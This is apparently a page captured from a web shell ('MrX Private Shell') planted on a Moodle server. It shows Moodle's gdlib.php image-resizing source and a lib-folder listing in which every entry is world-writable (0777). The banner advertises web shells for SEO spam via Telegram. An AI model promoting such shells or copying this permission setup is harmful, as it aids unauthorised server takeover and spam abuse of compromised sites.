__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* gdlib.php - Collection of routines in Moodle related to
* processing images using GD
*
* @package core
* @copyright 1999 onwards Martin Dougiamas {@link http://moodle.com}
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
defined('MOODLE_INTERNAL') || die();
/**
* Copies a rectangular portion of the source image to another rectangle in the destination image
*
* This function calls imagecopyresampled() if it is available and GD version is 2 at least.
* Otherwise it reimplements the same behaviour. See the PHP manual page for more info.
*
* @link http://php.net/manual/en/function.imagecopyresampled.php
* @param resource|\GdImage $dst_img the destination GD image resource
* @param resource|\GdImage $src_img the source GD image resource
* @param int $dst_x vthe X coordinate of the upper left corner in the destination image
* @param int $dst_y the Y coordinate of the upper left corner in the destination image
* @param int $src_x the X coordinate of the upper left corner in the source image
* @param int $src_y the Y coordinate of the upper left corner in the source image
* @param int $dst_w the width of the destination rectangle
* @param int $dst_h the height of the destination rectangle
* @param int $src_w the width of the source rectangle
* @param int $src_h the height of the source rectangle
* @return ?bool tru on success, false otherwise
*/
function imagecopybicubic($dst_img, $src_img, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h) {
global $CFG;
if (function_exists('imagecopyresampled')) {
return imagecopyresampled($dst_img, $src_img, $dst_x, $dst_y, $src_x, $src_y,
$dst_w, $dst_h, $src_w, $src_h);
}
$totalcolors = imagecolorstotal($src_img);
for ($i=0; $i<$totalcolors; $i++) {
if ($colors = imagecolorsforindex($src_img, $i)) {
imagecolorallocate($dst_img, $colors['red'], $colors['green'], $colors['blue']);
}
}
$scalex = ($src_w - 1) / $dst_w;
$scaley = ($src_h - 1) / $dst_h;
$scalex2 = $scalex / 2.0;
$scaley2 = $scaley / 2.0;
for ($j = 0; $j < $dst_h; $j++) {
$sy = $j * $scaley;
for ($i = 0; $i < $dst_w; $i++) {
$sx = $i * $scalex;
$c1 = imagecolorsforindex($src_img, imagecolorat($src_img, (int)$sx, (int)$sy + $scaley2));
$c2 = imagecolorsforindex($src_img, imagecolorat($src_img, (int)$sx, (int)$sy));
$c3 = imagecolorsforindex($src_img, imagecolorat($src_img, (int)$sx + $scalex2, (int)$sy + $scaley2));
$c4 = imagecolorsforindex($src_img, imagecolorat($src_img, (int)$sx + $scalex2, (int)$sy));
$red = (int) (($c1['red'] + $c2['red'] + $c3['red'] + $c4['red']) / 4);
$green = (int) (($c1['green'] + $c2['green'] + $c3['green'] + $c4['green']) / 4);
$blue = (int) (($c1['blue'] + $c2['blue'] + $c3['blue'] + $c4['blue']) / 4);
$color = imagecolorclosest($dst_img, $red, $green, $blue);
imagesetpixel($dst_img, $i + $dst_x, $j + $dst_y, $color);
}
}
}
/**
* Stores optimised icon images in icon file area.
*
* Since 2.9 this function will generate an icon in the same format as the original file when possible.
* To counter that behaviour, you can use the argument $preferpng to generate a PNG icon.
*
* @param context $context
* @param string $component
* @param string filearea
* @param int $itemid
* @param string $originalfile
* @param boolean $preferpng When true, it will try to generate a PNG file regardless of the original file.
* @return mixed new unique revision number or false if not saved
*/
function process_new_icon($context, $component, $filearea, $itemid, $originalfile, $preferpng = false) {
global $CFG;
if (!is_file($originalfile)) {
return false;
}
$imageinfo = getimagesize($originalfile);
$imagefnc = '';
if (empty($imageinfo)) {
return false;
}
$image = new stdClass();
$image->width = $imageinfo[0];
$image->height = $imageinfo[1];
$image->type = $imageinfo[2];
$t = null;
switch ($image->type) {
case IMAGETYPE_GIF:
if (function_exists('imagecreatefromgif')) {
$im = imagecreatefromgif($originalfile);
} else {
debugging('GIF not supported on this server');
return false;
}
// Guess transparent colour from GIF.
$transparent = imagecolortransparent($im);
if ($transparent != -1) {
$t = imagecolorsforindex($im, $transparent);
}
break;
case IMAGETYPE_JPEG:
if (function_exists('imagecreatefromjpeg')) {
$im = imagecreatefromjpeg($originalfile);
} else {
debugging('JPEG not supported on this server');
return false;
}
// If the user uploads a jpeg them we should process as a jpeg if possible.
if (!$preferpng && function_exists('imagejpeg')) {
$imagefnc = 'imagejpeg';
$imageext = '.jpg';
$filters = null; // Not used.
$quality = 90;
}
break;
case IMAGETYPE_PNG:
if (function_exists('imagecreatefrompng')) {
$im = imagecreatefrompng($originalfile);
} else {
debugging('PNG not supported on this server');
return false;
}
break;
default:
return false;
}
// The conversion has not been decided yet, let's apply defaults (png with fallback to jpg).
if (empty($imagefnc)) {
if (function_exists('imagepng')) {
$imagefnc = 'imagepng';
$imageext = '.png';
$filters = PNG_NO_FILTER;
$quality = 1;
} else if (function_exists('imagejpeg')) {
$imagefnc = 'imagejpeg';
$imageext = '.jpg';
$filters = null; // Not used.
$quality = 90;
} else {
debugging('Jpeg and png not supported on this server, please fix server configuration');
return false;
}
}
if (function_exists('imagecreatetruecolor')) {
$im1 = imagecreatetruecolor(100, 100);
$im2 = imagecreatetruecolor(35, 35);
$im3 = imagecreatetruecolor(512, 512);
if ($image->type != IMAGETYPE_JPEG and $imagefnc === 'imagepng') {
if ($t) {
// Transparent GIF hacking...
$transparentcolour = imagecolorallocate($im1 , $t['red'] , $t['green'] , $t['blue']);
imagecolortransparent($im1 , $transparentcolour);
$transparentcolour = imagecolorallocate($im2 , $t['red'] , $t['green'] , $t['blue']);
imagecolortransparent($im2 , $transparentcolour);
$transparentcolour = imagecolorallocate($im3 , $t['red'] , $t['green'] , $t['blue']);
imagecolortransparent($im3 , $transparentcolour);
}
imagealphablending($im1, false);
$color = imagecolorallocatealpha($im1, 0, 0, 0, 127);
imagefill($im1, 0, 0, $color);
imagesavealpha($im1, true);
imagealphablending($im2, false);
$color = imagecolorallocatealpha($im2, 0, 0, 0, 127);
imagefill($im2, 0, 0, $color);
imagesavealpha($im2, true);
imagealphablending($im3, false);
$color = imagecolorallocatealpha($im3, 0, 0, 0, 127);
imagefill($im3, 0, 0, $color);
imagesavealpha($im3, true);
}
} else {
$im1 = imagecreate(100, 100);
$im2 = imagecreate(35, 35);
$im3 = imagecreate(512, 512);
}
$cx = floor($image->width / 2);
$cy = floor($image->height / 2);
if ($image->width < $image->height) {
$half = floor($image->width / 2.0);
} else {
$half = floor($image->height / 2.0);
}
imagecopybicubic($im1, $im, 0, 0, $cx - $half, $cy - $half, 100, 100, $half * 2, $half * 2);
imagecopybicubic($im2, $im, 0, 0, $cx - $half, $cy - $half, 35, 35, $half * 2, $half * 2);
imagecopybicubic($im3, $im, 0, 0, $cx - $half, $cy - $half, 512, 512, $half * 2, $half * 2);
$fs = get_file_storage();
$icon = array('contextid'=>$context->id, 'component'=>$component, 'filearea'=>$filearea, 'itemid'=>$itemid, 'filepath'=>'/');
if ($imagefnc === 'imagejpeg') {
// Function imagejpeg() accepts less arguments than imagepng() but we need to make $imagefnc accept the same
// number of arguments, otherwise PHP8 throws an error.
$imagefnc = function($image, $filename, $quality, $unused) {
return imagejpeg($image, $filename, $quality);
};
}
ob_start();
if (!$imagefnc($im1, NULL, $quality, $filters)) {
// keep old icons
ob_end_clean();
return false;
}
$data = ob_get_clean();
imagedestroy($im1);
$icon['filename'] = 'f1'.$imageext;
$fs->delete_area_files($context->id, $component, $filearea, $itemid);
$file1 = $fs->create_file_from_string($icon, $data);
ob_start();
if (!$imagefnc($im2, NULL, $quality, $filters)) {
ob_end_clean();
$fs->delete_area_files($context->id, $component, $filearea, $itemid);
return false;
}
$data = ob_get_clean();
imagedestroy($im2);
$icon['filename'] = 'f2'.$imageext;
$fs->create_file_from_string($icon, $data);
ob_start();
if (!$imagefnc($im3, NULL, $quality, $filters)) {
ob_end_clean();
$fs->delete_area_files($context->id, $component, $filearea, $itemid);
return false;
}
$data = ob_get_clean();
imagedestroy($im3);
$icon['filename'] = 'f3'.$imageext;
$fs->create_file_from_string($icon, $data);
return $file1->get_id();
}
/**
* Resize an image from an image path.
*
* This maintains the aspect ratio of the image.
* This will not enlarge the image.
*
* @param string $filepath The full path to the original image file.
* @param int|null $width The max width of the resized image, or null to only use the height.
* @param int|null $height The max height of the resized image, or null to only use the width.
* @param bool $forcecanvas Whether the final dimensions should be set to $width and $height.
* @return string|bool False if a problem occurs, else the resized image data.
*/
function resize_image($filepath, $width, $height, $forcecanvas = false) {
if (empty($filepath)) {
return false;
}
// Fetch the image information for this image.
$imageinfo = @getimagesize($filepath);
if (empty($imageinfo)) {
return false;
}
// Create a new image from the file.
$original = @imagecreatefromstring(file_get_contents($filepath));
// Generate the thumbnail.
return resize_image_from_image($original, $imageinfo, $width, $height, $forcecanvas);
}
/**
* Resize an image from an image object.
*
* @param resource|\GdImage $original The image to work on.
* @param array $imageinfo Contains [0] => originalwidth, [1] => originalheight.
* @param int|null $width The max width of the resized image, or null to only use the height.
* @param int|null $height The max height of the resized image, or null to only use the width.
* @param bool $forcecanvas Whether the final dimensions should be set to $width and $height.
* @return string|bool False if a problem occurs, else the resized image data.
*/
function resize_image_from_image($original, $imageinfo, $width, $height, $forcecanvas = false) {
global $CFG;
if (empty($width) && empty($height) || ($forcecanvas && (empty($width) || empty($height)))) {
// We need do not have the required ddimensions to work with.
return false;
}
if (empty($imageinfo)) {
return false;
}
$originalwidth = $imageinfo[0];
$originalheight = $imageinfo[1];
if (empty($originalwidth) or empty($originalheight)) {
return false;
}
if (function_exists('imagepng')) {
$imagefnc = 'imagepng';
$filters = PNG_NO_FILTER;
$quality = 1;
} else if (function_exists('imagejpeg')) {
$imagefnc = 'imagejpeg';
$filters = null;
$quality = 90;
} else {
debugging('Neither JPEG nor PNG are supported at this server, please fix the system configuration.');
return false;
}
if (empty($height)) {
$ratio = $width / $originalwidth;
} else if (empty($width)) {
$ratio = $height / $originalheight;
} else {
$ratio = min($width / $originalwidth, $height / $originalheight);
}
if ($ratio < 1) {
$targetwidth = round($originalwidth * $ratio);
$targetheight = round($originalheight * $ratio);
} else {
// Do not enlarge the original file if it is smaller than the requested thumbnail size.
$targetwidth = $originalwidth;
$targetheight = $originalheight;
}
$canvaswidth = $targetwidth;
$canvasheight = $targetheight;
$dstx = 0;
$dsty = 0;
if ($forcecanvas) {
$canvaswidth = $width;
$canvasheight = $height;
$dstx = floor(($width - $targetwidth) / 2);
$dsty = floor(($height - $targetheight) / 2);
}
if (function_exists('imagecreatetruecolor')) {
$newimage = imagecreatetruecolor($canvaswidth, $canvasheight);
if ($imagefnc === 'imagepng') {
imagealphablending($newimage, false);
imagefill($newimage, 0, 0, imagecolorallocatealpha($newimage, 0, 0, 0, 127));
imagesavealpha($newimage, true);
}
} else {
$newimage = imagecreate($canvaswidth, $canvasheight);
}
imagecopybicubic($newimage, $original, $dstx, $dsty, 0, 0, $targetwidth, $targetheight, $originalwidth, $originalheight);
if ($imagefnc === 'imagejpeg') {
// Function imagejpeg() accepts less arguments than imagepng() but we need to make $imagefnc accept the same
// number of arguments, otherwise PHP8 throws an error.
$imagefnc = function($image, $filename, $quality, $unused) {
return imagejpeg($image, $filename, $quality);
};
}
// Capture the image as a string object, rather than straight to file.
ob_start();
if (!$imagefnc($newimage, null, $quality, $filters)) {
ob_end_clean();
return false;
}
$data = ob_get_clean();
imagedestroy($original);
imagedestroy($newimage);
return $data;
}
/**
* Generates a thumbnail for the given image
*
* If the GD library has at least version 2 and PNG support is available, the returned data
* is the content of a transparent PNG file containing the thumbnail. Otherwise, the function
* returns contents of a JPEG file with black background containing the thumbnail.
*
* @param string $filepath the full path to the original image file
* @param int $width the width of the requested thumbnail
* @param int $height the height of the requested thumbnail
* @return string|bool false if a problem occurs, the thumbnail image data otherwise
*/
function generate_image_thumbnail($filepath, $width, $height) {
return resize_image($filepath, $width, $height, true);
}
/**
* Generates a thumbnail for the given image string.
*
* If the GD library has at least version 2 and PNG support is available, the returned data
* is the content of a transparent PNG file containing the thumbnail. Otherwise, the function
* returns contents of a JPEG file with black background containing the thumbnail.
*
* @param string $filedata The image content as a string
* @param int $width the width of the requested thumbnail
* @param int $height the height of the requested thumbnail
* @return string|bool false if a problem occurs, the thumbnail image data otherwise
*/
function generate_image_thumbnail_from_string($filedata, $width, $height) {
if (empty($filedata) or empty($width) or empty($height)) {
return false;
}
// Fetch the image information for this image.
$imageinfo = @getimagesizefromstring($filedata);
if (empty($imageinfo)) {
return false;
}
// Create a new image from the file.
$original = @imagecreatefromstring($filedata);
// Generate the thumbnail.
return generate_image_thumbnail_from_image($original, $imageinfo, $width, $height);
}
/**
* Generates a thumbnail for the given image string.
*
* If the GD library has at least version 2 and PNG support is available, the returned data
* is the content of a transparent PNG file containing the thumbnail. Otherwise, the function
* returns contents of a JPEG file with black background containing the thumbnail.
*
* @param resource $original The image to work on.
* @param array $imageinfo Contains [0] => originalwidth, [1] => originalheight.
* @param int $width The width of the requested thumbnail.
* @param int $height The height of the requested thumbnail.
* @return string|bool False if a problem occurs, the thumbnail image data otherwise.
*/
function generate_image_thumbnail_from_image($original, $imageinfo, $width, $height) {
return resize_image_from_image($original, $imageinfo, $width, $height, true);
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| adodb | Folder | 0777 |
|
|
| ajax | Folder | 0777 |
|
|
| amd | Folder | 0777 |
|
|
| antivirus | Folder | 0777 |
|
|
| aws-sdk | Folder | 0777 |
|
|
| behat | Folder | 0777 |
|
|
| bennu | Folder | 0777 |
|
|
| classes | Folder | 0777 |
|
|
| db | Folder | 0777 |
|
|
| ddl | Folder | 0777 |
|
|
| dml | Folder | 0777 |
|
|
| dtl | Folder | 0777 |
|
|
| editor | Folder | 0777 |
|
|
| emoji-data | Folder | 0777 |
|
|
| evalmath | Folder | 0777 |
|
|
| external | Folder | 0777 |
|
|
| filebrowser | Folder | 0777 |
|
|
| filestorage | Folder | 0777 |
|
|
| fonts | Folder | 0777 |
|
|
| form | Folder | 0777 |
|
|
| geopattern-php | Folder | 0777 |
|
|
| giggsey | Folder | 0777 |
|
|
| Folder | 0777 |
|
||
| grade | Folder | 0777 |
|
|
| guzzlehttp | Folder | 0777 |
|
|
| html2text | Folder | 0777 |
|
|
| htmlpurifier | Folder | 0777 |
|
|
| jmespath | Folder | 0777 |
|
|
| jquery | Folder | 0777 |
|
|
| laravel | Folder | 0777 |
|
|
| lti1p3 | Folder | 0777 |
|
|
| ltiprovider | Folder | 0777 |
|
|
| markdown | Folder | 0777 |
|
|
| maxmind | Folder | 0777 |
|
|
| minify | Folder | 0777 |
|
|
| mlbackend | Folder | 0777 |
|
|
| mustache | Folder | 0777 |
|
|
| nikic | Folder | 0777 |
|
|
| openspout | Folder | 0777 |
|
|
| pear | Folder | 0777 |
|
|
| php-css-parser | Folder | 0777 |
|
|
| php-di | Folder | 0777 |
|
|
| php-enum | Folder | 0777 |
|
|
| php-jwt | Folder | 0777 |
|
|
| phpmailer | Folder | 0777 |
|
|
| phpspreadsheet | Folder | 0777 |
|
|
| phpunit | Folder | 0777 |
|
|
| phpxmlrpc | Folder | 0777 |
|
|
| plist | Folder | 0777 |
|
|
| polyfills | Folder | 0777 |
|
|
| portfolio | Folder | 0777 |
|
|
| psr | Folder | 0777 |
|
|
| ralouphie | Folder | 0777 |
|
|
| requirejs | Folder | 0777 |
|
|
| rtlcss | Folder | 0777 |
|
|
| scssphp | Folder | 0777 |
|
|
| simplepie | Folder | 0777 |
|
|
| slim | Folder | 0777 |
|
|
| spatie | Folder | 0777 |
|
|
| symfony | Folder | 0777 |
|
|
| table | Folder | 0777 |
|
|
| tcpdf | Folder | 0777 |
|
|
| templates | Folder | 0777 |
|
|
| testing | Folder | 0777 |
|
|
| tests | Folder | 0777 |
|
|
| userkey | Folder | 0777 |
|
|
| webauthn | Folder | 0777 |
|
|
| xapi | Folder | 0777 |
|
|
| xhprof | Folder | 0777 |
|
|
| xmldb | Folder | 0777 |
|
|
| yui | Folder | 0777 |
|
|
| yuilib | Folder | 0777 |
|
|
| zipstream | Folder | 0777 |
|
|
| UPGRADING.md | File | 26.35 KB | 0777 |
|
| accesslib.php | File | 184.94 KB | 0777 |
|
| adminlib.php | File | 398.39 KB | 0777 |
|
| apis.json | File | 7.09 KB | 0777 |
|
| apis.schema.json | File | 1.06 KB | 0777 |
|
| authlib.php | File | 46.33 KB | 0777 |
|
| badgeslib.php | File | 55.15 KB | 0777 |
|
| blocklib.php | File | 106.57 KB | 0777 |
|
| cacert.pem | File | 239.21 KB | 0777 |
|
| cacert.txt | File | 811 B | 0777 |
|
| clilib.php | File | 9.58 KB | 0777 |
|
| completionlib.php | File | 70.38 KB | 0777 |
|
| componentlib.class.php | File | 29.51 KB | 0777 |
|
| components.json | File | 3.98 KB | 0777 |
|
| conditionlib.php | File | 1.11 KB | 0777 |
|
| configonlylib.php | File | 8.19 KB | 0777 |
|
| cookies.js | File | 2.37 KB | 0777 |
|
| cronlib.php | File | 1.07 KB | 0777 |
|
| csslib.php | File | 6.81 KB | 0777 |
|
| csvlib.class.php | File | 17.72 KB | 0777 |
|
| customcheckslib.php | File | 1.5 KB | 0777 |
|
| datalib.php | File | 85.59 KB | 0777 |
|
| ddllib.php | File | 4.72 KB | 0777 |
|
| default.ttf | File | 502.23 KB | 0777 |
|
| deprecatedlib.php | File | 25.18 KB | 0777 |
|
| dmllib.php | File | 12.47 KB | 0777 |
|
| dtllib.php | File | 2.58 KB | 0777 |
|
| editorlib.php | File | 6.43 KB | 0777 |
|
| emptyfile.php | File | 809 B | 0777 |
|
| enrollib.php | File | 138.47 KB | 0777 |
|
| environmentlib.php | File | 58.32 KB | 0777 |
|
| excellib.class.php | File | 30.24 KB | 0777 |
|
| externallib.php | File | 9.54 KB | 0777 |
|
| filelib.php | File | 204.42 KB | 0777 |
|
| filterlib.php | File | 42.89 KB | 0777 |
|
| flickrclient.php | File | 10.1 KB | 0777 |
|
| flickrlib.php | File | 52.19 KB | 0777 |
|
| formslib.php | File | 151.53 KB | 0777 |
|
| gdlib.php | File | 17.71 KB | 0777 |
|
| googleapi.php | File | 9.48 KB | 0777 |
|
| gradelib.php | File | 62.29 KB | 0777 |
|
| graphlib.php | File | 86.81 KB | 0777 |
|
| grouplib.php | File | 59.67 KB | 0777 |
|
| index.html | File | 1 B | 0777 |
|
| installlib.php | File | 18.79 KB | 0777 |
|
| javascript-static.js | File | 42.38 KB | 0777 |
|
| javascript.php | File | 4.11 KB | 0777 |
|
| jslib.php | File | 4.21 KB | 0777 |
|
| jssourcemap.php | File | 2.51 KB | 0777 |
|
| ldaplib.php | File | 18.19 KB | 0777 |
|
| lexer.php | File | 15.92 KB | 0777 |
|
| licenselib.php | File | 12.42 KB | 0777 |
|
| licenses.json | File | 2.29 KB | 0777 |
|
| listlib.php | File | 29.37 KB | 0777 |
|
| mathslib.php | File | 4.47 KB | 0777 |
|
| messagelib.php | File | 32.76 KB | 0777 |
|
| modinfolib.php | File | 143.39 KB | 0777 |
|
| moodlelib.php | File | 359 KB | 0777 |
|
| myprofilelib.php | File | 18.35 KB | 0777 |
|
| navigationlib.php | File | 264.31 KB | 0777 |
|
| oauthlib.php | File | 24.97 KB | 0777 |
|
| odslib.class.php | File | 57.65 KB | 0777 |
|
| outputactions.php | File | 1.04 KB | 0777 |
|
| outputcomponents.php | File | 1.04 KB | 0777 |
|
| outputfactories.php | File | 1.04 KB | 0777 |
|
| outputfragmentrequirementslib.php | File | 1.04 KB | 0777 |
|
| outputlib.php | File | 11.99 KB | 0777 |
|
| outputrenderers.php | File | 1.04 KB | 0777 |
|
| outputrequirementslib.php | File | 1.04 KB | 0777 |
|
| pagelib.php | File | 91.58 KB | 0777 |
|
| pdflib.php | File | 10.11 KB | 0777 |
|
| phpminimumversionlib.php | File | 3.08 KB | 0777 |
|
| plagiarismlib.php | File | 3.38 KB | 0777 |
|
| plugins.json | File | 15.21 KB | 0777 |
|
| plugins.schema.json | File | 1.28 KB | 0777 |
|
| portfoliolib.php | File | 53.58 KB | 0777 |
|
| questionlib.php | File | 79.14 KB | 0777 |
|
| recaptchalib_v2.php | File | 6.53 KB | 0777 |
|
| requirejs.php | File | 7.4 KB | 0777 |
|
| resourcelib.php | File | 8.89 KB | 0777 |
|
| rsslib.php | File | 17.94 KB | 0777 |
|
| searchlib.php | File | 17.29 KB | 0777 |
|
| sessionlib.php | File | 4.86 KB | 0777 |
|
| setup.php | File | 43.98 KB | 0777 |
|
| setuplib.php | File | 62.59 KB | 0777 |
|
| soaplib.php | File | 5.28 KB | 0777 |
|
| statslib.php | File | 67.81 KB | 0777 |
|
| tablelib.php | File | 1.47 KB | 0777 |
|
| thirdpartylibs.xml | File | 31.13 KB | 0777 |
|
| tokeniserlib.php | File | 16.69 KB | 0777 |
|
| upgrade.txt | File | 180.01 KB | 0777 |
|
| upgradelib.php | File | 107.07 KB | 0777 |
|
| uploadlib.php | File | 1.9 KB | 0777 |
|
| validateurlsyntax.php | File | 23.05 KB | 0777 |
|
| wasmlib.php | File | 4.29 KB | 0777 |
|
| webdavlib.php | File | 69.59 KB | 0777 |
|
| weblib.php | File | 92.3 KB | 0777 |
|
| wiki_to_markdown.php | File | 13.08 KB | 0777 |
|
| wordlist.txt | File | 1.23 KB | 0777 |
|
| xhtml.xsl | File | 223 B | 0777 |
|
| xmlize.php | File | 8.82 KB | 0777 |
|
| xsendfilelib.php | File | 3.02 KB | 0777 |
|